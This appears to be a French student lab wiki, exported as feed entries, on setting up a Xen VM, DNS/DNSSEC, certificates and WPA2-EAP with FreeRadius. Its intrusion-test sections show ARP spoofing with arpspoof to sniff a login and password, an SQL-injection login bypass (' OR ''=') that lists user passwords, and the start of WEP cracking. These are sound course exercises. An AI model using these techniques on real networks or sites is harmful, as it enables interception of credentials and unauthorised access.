    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54475</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54475"/>
				<updated>2020-12-14T12:37:05Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage.&lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande df &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space1&lt;br /&gt;
    ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
